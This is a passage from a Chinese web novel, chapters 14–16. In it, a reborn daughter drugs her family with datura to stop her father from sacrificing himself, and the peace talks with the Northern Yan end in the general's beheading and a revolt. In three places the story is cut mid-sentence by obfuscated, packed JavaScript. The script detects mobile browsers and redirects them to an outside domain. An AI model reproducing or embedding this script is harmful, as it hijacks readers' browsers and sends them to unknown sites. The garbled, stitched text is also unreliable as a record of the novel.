下一次,她一定要阻止这一切发生,如果叶沛指望不上,那她就自己来。 “回去。”叶惜人对车夫下令。 不就是满门抄斩吗? 她、熟、得、很。 14. 投毒 第14章 大理寺,诏狱。 漆黑的地牢中没有光,只有狭长的入口处有一丝光亮,隐隐约约可见里面的人只着中衣,被血染红,斑驳在白衣之上。 一双黑暗中缓缓睁开的眼睛看向地牢入口处,不曾垂眸,只是在老鼠经过时缓缓伸出手,铁链“哗啦”一声响,抓住了那只肆无忌惮跑过的小老鼠。 下一刻,他看着的入口处有阴影晃动,脚步声响起,人影越来越近。 牢卒进来了。 将食盒放在黑影面前,取出饭菜,再给缺口碗里倒上水,念念叨叨:“严小将军,就只有这些了,待会儿陆大人会过来,你快些吃掉……” 黑影缓缓闭上眼睛没说话,身侧带着伤口的手微微一动,拨开了干草,在光秃秃的地面简单划出一个数字: 【六】 - 菜市口刽子手高举双手,喷出一口烈酒,鬼头刀寒光一闪,重重落下,剧痛袭来,鲜血喷溅…… 叶惜人捂着脖子猛地坐起来,呼吸急促,满眼惊恐。 她又回来了! “姑娘?”丫鬟们鱼贯而入。 叶惜人立刻站起来,几乎是本能就想冲向正院,质问叶沛,但迈出的脚步顿住,深吸一口气,“雪婵,给我换衣服,备车。” 她重回的是三月初一,首要是她哥哥春闱亟待解决,而且眼下就去找叶沛对峙,按照他的性格恐怕什么都不会告诉她,还会装成一无所知。 有上一次的经验,她不仅仅要阻止灾祸发生,还要弄明白缘由……这重生不知道什么时候才结束,只有她清楚一切真相,才能做出对自己、对叶家有利的判断。 谁都不能相信! 三月初一,避开考场舞弊。 三月初二,避开祖母佛像私藏通敌证据,诈出陆仟陷害叶家的口供。 一家子讨论过后,各自忙去,叶沛匆匆离府,一直到晚上才回来,而刚入大门,就听说叶惜人在前院等他。 从午时一直等到现在。 叶沛大步走向前院,看到里面坐着的单薄身影,露出慈爱的笑容,声音柔和:“惜惜,你找我?” 叶惜人端坐前院太师椅上,旁边放着倒好的一盏茶,她手上端着另一盏,茶香缭缭。 听到声音,她抬头看去。 手上的茶水刚泡好,升腾起雾气,一点点模糊视线,眼前一切都开始变得不清晰,茶盏内茶叶浮沉,走近的叶沛身影模糊。 叶惜人吹了口气,眼前一切清明,她将茶盏放在一旁桌上,茶叶一片片安稳落下,穿堂风吹过,烟气也一点点散开了…… “爹,喝茶。”叶惜人将另一盏茶推了推。 叶沛在另一边坐下,端起茶盏抿了口,看向她,依旧慈爱,“惜惜,你是愿意告诉我谁给你的消息吗?” ——还没忘记追问他的疑惑。 叶惜人定定望着他。 叶沛四十出头,端方持重,眼神清正,没有许多官员眼中藏不住的算计,虽身处高位,但这些年在朝中克己奉公,是不容置喙的清官。 而在家中孝顺母亲,尊敬妻子,不纳妾不养外室,将所有的闲暇时间都给了一双儿女…… 她从前一直想,若是将来成亲,定要找爹爹这样的人,可以为家里遮风挡雨、撑起一片天。 小时候爹握着她的手教她读书习字,散值回来,也总是会带上她喜欢的吃食,在北都,她喜欢珍宝阁的首饰,但价钱昂贵,不大去买。 可爹记得,散值不与人去吃酒、不乱花钱,偷偷攒了许久私房钱,又骗走叶长明存下的零花钱,凑在一起,给她买了一副最喜欢的头面。 爹连好墨好纸都不舍得买,却给她打一支又一支漂亮的金钗…… 他像是山,像是树,从小到大,从北都到南都,从天下太平到战乱年间,他一直把家人护得很好,在第一次被斩首之前,叶惜人从未经历风霜。 所以,上一回知道会发生什么,她告知叶沛后,就放心地由着他去处理,因为,她相信爹爹会护着他们。 “惜惜?”叶沛伸出手,在她眼前晃了晃,“怎么了?” 叶惜人眼眶倏地就红了,声音轻颤:“爹,你究竟为什么一定提出军粮案?哪怕知道后果万劫不复,还要提?” 她在质问! 叶沛身体猛地一震,叶惜人清楚看到他瞳孔紧缩,不可置信,“惜惜,谁告诉你的?!你又知道多少?” “我只想知道,你为什么一定要提出军粮案?哪怕明知会落入陷阱当中,会背负贪污的罪名,还要如此行事?”叶惜人反问。 叶沛扯了扯嘴角,摇摇头,笑着说:“惜惜,你想多——” 叶惜人打断他:“我不想听你的敷衍,你认了贪污罪是满门抄斩的后果,作为被你连累的儿女,你还要在大祸临头之前敷衍我吗?” 她满脸失望。 明知道会有什么后果,他还是带着一家子性命冒险,曾经这座保护着他们的山,如今究竟在做什么? 听到“满门抄斩”四个字,叶沛张了张嘴,没发出声音。 他将茶盏放回桌上,手指有些颤抖,竟不小心直接将茶打翻,里面的茶水流了出来。 两人谁都没去管,任由茶水沿着桌面滚落到地上,发出“滴答滴答”的声音。 叶沛垂下了眼眸,沉默以对。 穿堂风吹过,叶惜人竟然觉得有些冷。 她望向叶沛,苦笑: “我从前是不管外面的事,但人会成长,经得多了就总要难糊弄一些,这两日我出去调查过,竟没想到我一贯温和不强硬的爹爹,是朝中旗帜鲜明的主战党,为此与主和派蒋相等人多次朝上争执!” 从之前只言片语当中得到的消息,她爹叶沛想要保严小将军,因为那是能抗衡北燕之人,她虽有过担忧,但祖母安慰之后,想着只是与朝中其他人政见不同,倒也没太在意。 可真是没想到,他爹是旗帜鲜明主战派,多次在朝上与蒋相、张参政等主和派争执,那什么严小将军截杀北燕使团,违抗圣令,残暴至极,在圣上眼中是铁板钉钉的“逆党”,他爹为一个逆党得罪了许许多多人。 严小将军到现在还在牢里没被砍,正是她爹这些主战派奔波的结果,军粮案只对严小将军有影响,恰是他爹等人奔走的目的之一。 怪不得他们家会被人盯上…… 叶长明的“考场舞弊”、祖母的“通敌证据”,想来都是因为叶沛正在做的事情,她虽对朝廷不了,但从史书可知,从来党争,腥风血雨。 “北燕使团已经入京,明日就要正式和谈。”叶惜人说着自己听到的坊间消息,喃喃,“爹,和谈有什么不好?天下太平,难道不是一件好事吗?” 听到这里,叶沛终于抬起了头。 他眼神复杂,缓缓摇头,声音晦涩: “天下太平是好,北燕来的人是赤盏兰策,他是下一任北燕王,也是北燕入侵大梁的军师,他亲自前来,诚意满满,满朝文武都是从北都被打到南都,早就从骨子里怕了战乱,见北燕有和谈的诚意,欢欣鼓舞,恨不得立刻签下和谈书,答应他们的一切要求。 “圣上是新帝,尚未独揽大权,哪怕登基之时壮志凌云,在主和派那些人的游说下,还是将严小将军下了大狱,好生招待着我大梁仇敌。” 去岁严小将军刚刚出现时,连胜多次,将北燕人死死拦在淮安渠外,护卫住了大梁新国都。 朝中谁不是同样的欢欣鼓舞,要收服失地、要回到北都、要将狼子野心的北燕赶出大梁领域…… 但只是一封和谈书、一个由赤盏兰策带领的北燕使团,就让朝中不少人变了心思。 截杀使团未必是逆党,更可能是坚定的主战派! “赤盏兰策此人城府极深,就是他驱使北燕铁蹄攻入大梁,占据北地,由着北燕军大肆杀戮。”叶沛说着,咬牙切齿,“这样的人,我如何相信他是真心和谈?!” 必是狼子野心,乱大梁朝局! “不是说赤盏兰策对北燕军队的重要性,不亚于严小将军之于严家军吗?他亲自前来,和谈还能有假?”叶惜人皱眉,“若是真有问题,我们立刻就能杀了那北燕太子!” 她想到那日匆匆一见的赤盏兰策,看着如同谪仙人一样,对外好似温和有礼,不沾血污…… 叶沛闻言苦笑:“许多人与你是一样的想法,就连陛下也松动了,才会敲定明日正式和谈,北燕一定会针对严小将军,要他的命……” 可他不相信北燕真心和谈,这其中定然有阴谋,而在弄明白对方要做什么之前,绝对不能让严小将军死了。 严家军和北燕军还在淮安渠对峙,严小将军怎么能死? 赤盏兰策必有算计,大梁不能落入陷阱,与北燕只能战,决不能和谈! 最好的办法是立刻杀掉赤盏兰策,放严小将军回淮安渠,继续与北燕开战,收复失地。 叶惜人还是不明白,她眉头紧锁,偏头: “可你们真的能保住他吗?他做的那些事情在圣上眼中是逆党,又有反叛之举,他即便是天纵之资,圣上也不会留他的命。” 而非要保住“逆党”的人,在圣上眼中,和逆党有什么区别?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298894|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 北燕人危险,可能会颠覆大梁,逆党……同样,在圣上眼中,逆党和北燕又有什么区别?都是会危及统治地位的人。 若能以和谈方式拿回北地,再好不过。 “南都府尹郑大人收到消息,严小将军身上的罪名很多都是假的,他屠杀官吏、坑杀流民、不听圣令,似乎都与军粮有关。” 叶沛摇摇头,呼出一口气: “我从户部查到些线索,当初送往严家军的那批粮草可能真有问题,郑大人已经派人快马加鞭去淮安渠调查,后日才能回来。 “所以,明日无论如何,都要先保下严小将军的命,只要保住严小将军,和谈就继续不下去,留出时间取回证据,就能挽回圣上的心,不让大梁落入北燕算计当中。” 明日三月三和谈,那些北燕人逼得太紧了,可越是逼得紧,叶沛就越怀疑有问题。 一时间获得大量信息,叶惜人听着这些话陷入思索,一点点理清楚头绪,主战派与主和派还在拉锯,想要阻止和谈、保住严小将军,就必须在和谈之前提出军粮案,为他挽回圣心…… 等等! 叶惜人瞳孔一缩,腾地站起来,不可置信看向叶沛,张了张嘴,艰难开口: “不对,明日就是三月三和谈,严小将军已经危险……你提出军粮案根本救不了他,因为你们还没有证据!” 说到这里,她几乎是咬牙切齿:“只有洗清罪名,才能真正拖延时间,所以,你不是要提出军粮案,你是要去顶罪!” 怪不得叶沛在大理寺认罪,有大理寺卿护着,就算被陷害,也不可能那么快认罪! 怪不得她已经提醒,还被陷害…… 不是他再次落入陷阱,而是军粮案根本没有陷阱,是他用自己的命,去顶罪,去帮那所谓的严小将军拖延时间! 叶惜人几乎眼前阵阵发黑。 没想明白的都想通了,甚至全部串起来,大批军粮出问题,只有户部尚书、兵部尚书站出来,才能立刻洗清姓严的罪名,保住他的命,拖延和谈。 叶沛垂下眼眸,没有回答。 但他的沉默,已经给了答案。 叶惜人身体摇摇欲坠,扶着桌子勉强站稳,声音颤抖:“主战派与主和派闹起来不是一天两天,为什么是这几日我叶家频频遇到满门抄斩的重罪,是你、是你要去顶罪!” 三月初三,主战派要发力,阻止和谈,其中主力就是户部尚书叶沛,这人要亲自去顶罪! 而主和派一定是收到了消息,想阻止叶沛。 所以,三月初一考场舞弊,立刻满门抄斩,活不到三月初三。 躲过了初一,紧接着就是初二的私藏通敌证据,还是满门抄斩,一个大罪接一个大罪,只因三月初三是主和派与主战派最大博弈! 叶沛抿了抿干涩的唇,看向她,眼神愧疚: “圣上仁慈,我认罪应当不会立刻斩杀,只要拖到三月初四,就有证据送回来,如果圣上震怒、有人作祟,真要杀我……惜惜,我会留下人尽快送你们离开南都。” 叶惜人简直不敢相信自己的耳朵。 “祖母会走吗?娘会走吗?”叶惜人死死盯着他,双目赤红,“我和哥哥能抛下你们,看着你们死吗?!” “惜惜……” 叶惜人摇着头后退,满脸泪水—— “那姓严的究竟凭什么?! “就为了一个陌生人,你要带着我全家替他死?你们真能确定军粮有问题?你们真能保证他不是逆党?真能从淮安渠拿回证据? “你有你的主意,可我们呢?爹,你知道砍头有多疼吗?你知道趴在菜市口等着鬼头刀落下,有多可怕吗?” 叶惜人早已泪流满面。 叶沛垂下头,许久之后才道:“我明日让人送你们离开,都必须走。” “不稀罕!”叶惜人狠狠瞪着他一眼,转身跑出去。 她已经跑出前院,叶沛始终没有出声阻拦。 回头看去,叶沛坐在太师椅上,安安静静坐在那里,一动不动,空荡荡的前院里面,只有他一个人孤零零,出神地望着前方。 他意已决,不会更改。 叶惜人咬牙切齿,气得胸口剧烈起伏,那把火烧得她整个人被愤怒淹没,但很快,凉风吹过,她又变得无比清醒。 叶惜人抹掉脸上的泪水,冷笑: “既然如此,那我就自己来。” 叶沛不在意家人的性命,她在意,她来护着。 三月初三。 户部尚书府被人投毒,全家卧床。 叶沛,没能上朝。 15. 头颅 第15章 叶沛没说错,官员不能无故不上朝,即便是报病,宫中也会立刻派人前来查看,总要知道这官员生了什么病,是不是真需要告假。 来的人一看叶家这情况,再一把脉,便确定叶沛今日上不了朝。 ——人还在床上晕着呢。 今儿日子特殊,前前后后来过两名太医,仔细号过脉,各开了几服药才匆匆离开。 叶惜人撑着身体坐起来,声音无力:“怎么样了?” 雪婵赶忙将熬好的药送过来,小心翼翼喂给她,“二姑娘先喝药,夫人和大公子都没事了,已经解了毒,好好休息就成,你和老爷中毒最严重,尤其是老爷现在还睡着,太医说至少晚上才会醒来,得喝两副药……” 见叶惜人皱眉,她又解释: “太医说只是曼陀罗花种子,药剂量不大,解毒就好,不会伤害老爷身体的,他现在是睡着,太医说最好不要叫醒他,有助于恢复……” 叶惜人冷笑。 她下的毒,自然知道是什么程度。 “告诉姜叔,既然已经告假上不了朝,就让爹好好休息,千万别吵醒他,让他睡到明天再说。”叶惜人喃喃。 证据不是三月初四就到吗? 那就等明日再叫醒。 叶惜人喝下药,晕乎乎躺回去,拉着雪婵衣袖吩咐:“让人出去打听今日和谈情形……如果外面打听不到,就去找姜叔和我哥,他们认识爹的故友,或许能打探到消息……” 说完,叶惜人陷入黑暗当中。 叶沛这人十分谨慎,这两日又频频不在家,她没机会让叶沛中招,就只能下到汤里,除了祖母不与他们一同吃饭外,昨晚全家人都喝了,一起中招。 为了让廖氏和叶长明少喝些,她抢着喝了不少,也就比叶沛少些。 但比起被拉到菜市口砍头,只要能活着,这点罪不算什么。 “不知道是谁这么缺德,竟然敢毒害尚书府……”雪婵的声音渐渐远去。 “缺德”之人正睡觉,且因为活着,睡得很安心。 上不了朝,如何去顶罪? 傍晚时分。 “姑娘,姑娘!老爷醒了,这会儿正生气呢,叫姑娘过去!”雪婵轻轻摇着叶惜人,将她唤醒。 叶惜人迷迷糊糊醒来。 她做了一个好梦,梦到叶沛睡到第二日才醒来,和谈已经结束,北燕与大梁签下契书,北燕回了草原,北地还给他们大梁。 那些流离失所的人有了家,文林坊小巷里面,再没有无家可归的人,粮价降下来,人人都能吃饱饭,不必卖儿卖女、易子而食,不用打仗,也不需要征兵,无人死在战场上……天下太平,再无战事。 叶惜人眼神逐渐清明,看了眼天色,外面已经彻底黑下来,叶沛果然睡到晚上。 劫难,过了吗? “穿衣服吧。”她还算平静。 等换好衣服,吃了些糕点、漱过口后,叶惜人才慢吞吞来到正院,屋里一团乱,廖氏着急的声音若隐若现,还有叶长明的劝解声不断。 “爹,你现在去已经来不及了,先喝药好好养着身体,太医说你要明日才能彻底解毒,现在去宫里也做不了什么,明日再去吧。”叶长明劝着。 “明日,明日就来不及了!” 叶沛的声音虚弱,着急又愤怒,压着火气问:“长明,你有打听到消息吗?眼下到底什么情形?和谈如何?” 他在家里睡了一天,外面的事情一无所知。 叶长明摇摇头,眉头紧锁,“还不清楚,没有任何消息传出来,叔伯他们都在宫里,宫门未开。” 都这个时候了,宫门竟然还没开?! “坏了!”叶沛面色大变,急道,“快送我进宫。” 叶惜人就是这时走进来。 叶沛第一次对她发火,茶盏在她脚下碎裂,嘶哑声音暴怒:“叶惜人!你知道你做了什么吗?!” 他醒来就猜到了,这毒是他女儿下的。 叶惜人停下脚步,抬头看着他,无比清醒:“我知道,我在救叶家,救祖母,救娘亲和哥哥,救我自己。” 明知道叶沛要送他们去死,她阻拦有什么问题? 叶沛死死盯着她,呼吸急促,片刻后一甩衣袖,吩咐:“备车!”他要立刻出门进宫。 小厮应了,匆匆出门。 廖氏满脸担忧,长叹口气:“这都些什么事啊?我们家最近怎么就这么多灾多难?老天保佑,可要快快平顺起来……” 叶沛的脚已经迈出正院。 这时,外面有人跌跌撞撞闯进来,姜随面色发白,扛着另一个浑身鲜血的护卫跑过来,屋里的人吓了一跳。 这是怎么了?! “老爷!出事了!”姜随大声喊道。 “出什么事了?”叶沛看向那名护卫,他认得此人,浑身一震,“云顺?你这是怎么了?郑文觉呢?” 来人是南都府尹郑文觉的亲随,只看他这模样,就知道他们遇到了事,情况不大好。 叶惜人眉心一跳。 云顺满脸泪水,身上带着伤,腿一软跌倒在地,声音呜咽: “叶大人!我们老爷没了! “今日和谈,赤盏兰策愿意归还北都,退到十六州,但北燕有两个不可更改的要求,一,杀与他们有仇的严小将军,二,大梁向北燕岁贡。 “朝中拉锯许久,终究还是答应了他们的要求,蒋相带人与赤盏兰策谈判数个时辰,确定细则,双方签下和谈书。” 听到这里,叶沛瞳孔一缩,身体一晃,摇摇欲坠。 严小将军死了! “后来呢?”他着急追问。 若真是和谈顺利,云顺就不会是眼下这样子,南都府尹郑文觉更不会死。 “午时,严小将军被斩,圣上下令好好收敛尸首,刚刚大理寺卿白大人发现棺材里面,严小将军头颅丢失,立刻上报圣上,宫中哗变,北燕使团联合皇城司暴动,意图围杀圣上与朝中大员!” 云顺痛哭出声: “那些北燕人想要封锁消息,怕大人召来南都府的人,先杀了大人!大人临死前把令牌交给我,让我们带着一队人马前去关城门、追回严小将军,但我们被陆仟和北燕人追杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303980|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没追上!” 陆仟带着人与北燕人一起追杀他们,云顺一行人还没到城门口,就已经被杀得只剩下他一个人,如果不是遇到姜随,他都活不下来。 但现在城门还没被封锁,那些运送头颅离开的北燕人也没追上! 叶沛眼前一黑。 “噗——”气血攻心,他没控制住喷出鲜血,面白如纸笔挺挺倒下。 “爹!”叶惜人与叶长明同时上前。 叶沛被搀扶着躺在床上,廖氏着急忙慌让人去取药送水来,叶府上下,顿时一阵兵荒马乱。 叶惜人愣愣站在原地。 她看着屋内乱象,又看向只剩下一口气的云顺,最后将视线移到大门方向,半开的大门可以听到外面的惊叫声、脚步声,还有人的痛哭声…… 南都,乱了。 “严小将军……死了?” 叶长明拄着拐杖,不可置信看向姜随: “北燕人暴动,意图围杀圣上与朝中大员?这里可是南都,他们能有多少人?那赤盏兰策不想活了吗?!” 怎么可能? 赤盏兰策可是北燕太子,整个北燕的大军师,正是因为他亲自前来南都,朝中才相信北燕和谈的诚意,即便他们是主战派,也没敢轻易对北燕使团动手,可怎么会突然变成这样? 严小将军…… 怎么会被杀了?! 云顺拿着令牌,很是着急,“叶大人,您快想想办法!” 叶沛剧烈咳嗽着,撑着身体坐起来,就要下床,着急吩咐—— “快,立刻组织人手,云顺你去通知南都府,再召一支人马去城门口,立刻封锁南都,不许他们将严小将军的……头颅送出去!” 他说着,身体摇摇欲坠,眼前发黑。 叶长明搀扶着他,眼神一厉,跟着继续吩咐:“胖金带着云顺和令牌赶紧去封锁城门,姜伯、瘦银找城门口的徐大人,让他派人一起去追!那些北燕人跑不远,但他们肯定有接应人,必须在他们碰头之前追上,拿回头颅!” 这里是南都,禁军很快就会控制住形势,抓住所有北燕人,但问题是北燕人就要争取这一点时间,他们把严小将军的头颅送出去,目的就已达成。 严小将军的头颅一旦去了淮安渠,那边都是严家军…… 朝廷杀了严小将军,可以想象淮安渠会发生什么! ——这就是北燕人的阴谋! “是!” 姜随几人应下,转身就要出门。 “嘭——”半合的大门被人踹开,一行人硬闯进来,将大门团团围住,堵死了要出去的胖金等人。 “今夜,谁都别想走。”陆仟阴冷的声音自远处响起。 他从门外走进来,浑身是血,握着的刀还跟着滴血,脸上溅着没擦干的血迹,令人胆寒。 而他身侧还有另一人,其他人未必认识,叶惜人却是见过。 那日马车相撞,赤盏兰策的车夫莫勒,北燕人。 “叶大人,又见面了。” 陆仟握着刀,眯起眼睛看向叶惜人,微微笑:“叶二姑娘,好久不见啊。” 16. 命数 第16章 叶惜人死死盯着他。 叶长明下意识站到叶惜人前面去,挡住陆仟视线,他同样看到这北燕人,又想起云顺送来的消息,指着陆仟大骂: “陆仟,你竟然背弃大梁,与北燕人勾结,呸,你个卖国贼,北燕走狗!” 之前打过几次交道,原以为这陆仟只是主和派用来陷害他们的人,现在看来,这人分明是北燕走狗,早已暗中投靠赤盏兰策。 陆仟闻言露出笑,也不在意,随意地摇摇头,刀尖在地上划出痕迹,似笑非笑,“卖国贼?你错了,我这是识时务者为俊杰,况且,谁说我是大梁人了?” 他的身上,本来就有一半北燕人的血,哪里算是卖国。 叶长明张了张嘴,心惊不已。 这陆仟,竟然是北燕人! 北燕人与大梁人在长相上是有些不同,陆仟只看容貌,明明毫无异国血统。 “你何必为卖国找借口?即便你身上有北燕血,可分明是大梁人模样,大梁生你养你,竟然养出个白眼狼!”叶长明继续骂。 陆仟眼神变得冰冷,冷笑出声: “你们也甭挣扎了,算算时间,现在北燕已经在攻打淮安渠,姓严的脑袋明日就能送到……战场之上,北燕拿出头颅,是大梁朝廷杀了他,你们猜猜淮安渠还撑得住吗?届时,严家军必乱,拿下淮安渠易如反掌。” 淮安渠一旦失守,自淮河到南都护水河,一马平川,北燕铁蹄一路向南,将如同入无人之境,直接打向南都。 而大梁…… 还有能与北燕一较高下的人吗? 叶沛目眦欲裂,身体摇摇欲坠。 “赤盏兰策还在南都,圣上很快就会控制住形势,即便严小将军没了,抓了赤盏兰策就还有希望,他是北燕太子,可你呢?”叶惜人终于开口,直戳命门,“是你这卖国贼酿成这场大祸,你以为大梁会放过你吗?” 北燕即将打过来,杀不了赤盏兰策,还杀不了他的走狗吗! 陆仟瞬间脸色一变,眼神发沉。 身侧,莫勒放肆一笑,无比猖狂,“陆大人放心,眼下局势谁人看不清楚?这大梁马上就会归了北燕,你们皇帝和满朝文武都将是北燕圈里的羊羔,谁敢轻易造次? “再说,大梁聪明人不少,没人敢动殿下,有殿下护着,自然也没人敢动你。” 听到这话,陆仟心中提起的那口气松了下来。 是呀,自严小将军死的那一刻,这大梁已经是北燕的囊中之物。 他手上的刀指向叶沛,眉梢一挑:“叶大人应当不傻,你掌着户部,北燕人需要你帮些忙,殿下让我传话,若是你肯听话,你还是户部尚书,等北燕入了南都,封王拜相,不在话下。” 叶沛胸口剧烈起伏,恨道:“做梦!我大梁终有一日,会将你们这些燕狗全都撵出去!卖国者,不得好死!” “与他们废话做什么?殿下说了,若是愿意投靠就留下来,若是不识趣的直接杀了便是,以免这些人再给北燕添堵。” 莫勒说完,长鞭狠狠朝着叶沛甩过去,出手便是夺人性命。 叶长明瞳孔一缩,扑上去替他爹挨了这一下,当即闷哼一声,背部瞬间被鲜血染红。 “长明!” “哥!” 叶惜人冲上前,扶住她哥,被叶长明带着摔倒在地,但此刻通通顾不上,叶长明面色发白,额头大颗大颗冷汗冒出。 这不是马山那样的小打小闹,鞭子上带着尖锐的铁刺,叶长明脊背几乎被打断,痛到浑身抽搐,却又发不出声音。 叶惜人手足无措,气得发抖,一双眼睛看向陆仟与莫勒,愤怒与恨意几乎将她淹没。 ——这群该死的燕狗! 陆仟轻笑:“叶二姑娘果然是个胆大的,很招人喜欢呢,莫勒大人,待会儿留下这丫头的命,我要带回去。” 他的一双眼睛上下打量,气得叶沛越发站不稳,手握紧成拳,心知耗在这里不是个办法,横竖都是死,哪怕不如对面人多,也要最后博一场,只要能把云顺手上的令牌送出去,就还有阻拦的机会…… 莫勒等人同样动手,刀剑已出,这时,突然有人冲了过来。 一北燕人着急忙慌跑向他们,面色难看,跌跌撞撞扑向莫勒,喊道:“大人,殿下……殿下没了!” 莫勒与陆仟同时变了脸。 莫勒什么都顾不上,狂奔出去。 陆仟愣怔在原地,赤盏兰策死了?谁竟然敢在这个时候杀了他?还有,没了北燕太子,他们还能保住他的命吗? 又是一阵急促脚步声响起,另一支人马闯进来。 陆仟带着的人瞬间神情一肃,将长刀握在手上,戒备地盯着来人,不断后退。 而叶沛在看到来人时,松了口气,这是禁军统领应昌平,此刻他能够出来处理陆仟,宫中形势已经控制住了。 叶沛立刻提醒:“应大人!快去追严小将军头颅!” 应昌平双目通红,满脸绝望,咬紧牙关,“来不及了,严小将军午时被斩,未时就丢了头颅,那赤盏兰策早就把头颅送了出去,让这些燕狗四处拦截,不过是为了混淆视听……” 严小将军的头颅,早就被赤盏兰策的人送往淮安渠了…… 从未时到现在,哪里追得上! “噗——”叶沛再次喷出一口鲜血,捂着胸口倒下,眼前阵阵发黑,“天不佑我大梁,天不佑我大梁!” 大梁,完了。 叶沛几乎是嘶吼出声,他像是瞬间苍老十岁,老泪纵横,伴随着嘴角溢出的鲜血,在外面兵荒马乱的嘈杂当中,让人彻底绝望。 叶惜人愣在原地。 寒意从脚下一点点蔓延,流向四肢百骸,她像是被冻僵一般,整个人没了魂。 陆仟大笑:“哈哈哈,果然是兰策殿下,算无遗漏。” 就连他都以为人头才送走,带人追杀拿着南都府尹印信的云顺,就怕他们封锁城门,阻拦送出头颅,没想到,竟然早就送出去了! 只可惜,那么聪明的兰策殿下,怎么就丢了命呢? 到底谁杀了他? 应昌平长枪指着陆仟,“老子杀了你这个卖国贼!” 陆仟丝毫不害怕,抬起下巴肆无忌惮,“大梁输了,你敢杀我们吗?兰策殿下已经死了,圣上和你们所有人都将迎接北燕人的怒火,你们不怕死,你们的家人呢?” “你——” 应昌平怒极。 长枪举起来了,到底没有刺下去,他们拿到的命令是抓住这些北燕人,看是否还有一丝转机…… 应昌平气得额头青筋凸起,目眦欲裂,“要不是严小将军死了……” “你也知道,他死了。”陆仟得意。 身体卸了力,叶惜人几乎是坐在地上,叶长明正在变得越来越虚弱,她爹爹的情况看上去也不太好,更糟糕的是整个大梁…… 叶惜人喃喃:“这就是三月初三,阻止爹爹顶罪的结果吗?” 那严小将军死了,南都乱了,大梁……也要亡了。 她要护家,就是亡国。 叶沛像是一支蜡烛,此刻早已被烧得干干净净,只剩下一具残骸,听到叶惜人的话,他朝着女儿招招手。 叶惜人僵硬走近。 叶沛握着她冰冷的手,嘶哑声音虚弱无力:“惜惜,不怪你,这就是命数……大梁的命数啊!” 叶惜人空洞的眼中落下两行泪,她有些无措,“爹,我只是想救叶家,救你的命……” “我知道。”叶沛紧紧握着她的手,满脸泪水,“和谈之前,北燕未曾提过他们的任何要求,但我们的人打听到,北燕人和谈前提是杀严小将军,即便加上岁供,朝中那些只想着不再打仗的官员也一定会答应下来,我们那时就猜测,今日严小将军必死无疑……” 这种情况下,主战派能做的只有争取圣心,而圣上对严小将军“逆党”罪行耿耿于怀,他们必须为小将军脱罪。 证据明日才会送回来,今日是最后期限。 时间紧迫,于是叶沛重提军粮案,将贪污线索指向他自己。 ——他本想用自己的命为严小将军拖延一天。 叶惜人控制不住抽泣出声,上一个三月初三,叶沛认罪,圣上震怒,叶家满门抄斩,但严小将军还活着…… “我去顶罪必会连累你们,可你们又何其无辜?”叶沛心疼地为叶惜人擦掉眼泪,“不怪你,这是大梁的命数,我救不了,严小将军也没能救。” 他家惜惜不知道会发生什么,即便是他,事情未发生之前,同样无法预料,惜惜想保护爹爹、保护家人的心没错,他女儿是个勇敢又孝顺的好孩子。 不怪她。 结局已定,此刻叶沛无比温和。 叶惜人抬头望着他,泪眼朦胧,颤抖着声音问:“严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309032|182440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小将军若是活着,能救吗?” “我不知道,我也不了解他,但我知道,只有他能带兵赢下北燕,死死将他们关在淮安渠以外。” 叶沛有些出神,似乎想到被押解进京的那位小将军,“你可知道严家?严家世代镇守边关,不容北燕侵犯……” 他讲着严小将军,讲着严家。 忠勇侯府世代将军,北燕侵略大梁不是一年两年,于是,世代都有忠勇侯,世代都有严家军镇守边关。 几年前,也就是献宗时期,北燕再次入侵,献宗年轻,总想要建功立业,再加上大梁兵强马壮,他便决定御驾亲征,非要自己去将北燕人打退。 可那时候,北燕出现了一个算无遗漏的军师——赤盏兰策。 双方在边境开战,本来大梁兵强马壮,有绝对的优势,但献宗非要御驾亲征,上了战场又害怕,临阵脱逃,被赤盏兰策抓住机会,一举击溃大梁军,击杀忠勇侯,抢到十六州。 之后,严小将军的兄长成为新一代忠勇侯,抵御北燕军。 前一仗损失惨重,此时北燕已经势强,大梁势弱。 献宗跑回北都后,北燕步步紧逼,忠勇侯在黄河御敌,鏖战两载,赤盏兰策炸了黄河堤,害死无数大梁百姓,也赢了那一战,忠勇侯万箭穿心而死,北燕军直冲北都。 献宗害怕了,与当时的宰相一起决定迁都,叶沛等人阻拦无效。 之后,就是一边跑一边被打的屈辱记忆。 献宗在路上死了,他只有一个年幼的儿子,幼帝登基,又随着朝廷继续迁到南都,刚到南都,幼帝病亡,才有去岁登基的今上,梁越。 今上比献宗有决断,支持大战,大量的粮草运往边关,废奸相选新相,勉强维持颓局。 而在北燕肆无忌惮冲向南都的路上,一个人带着一支严家军,联合淮安渠守将,击退战无不胜的北燕军。 局势逆转。 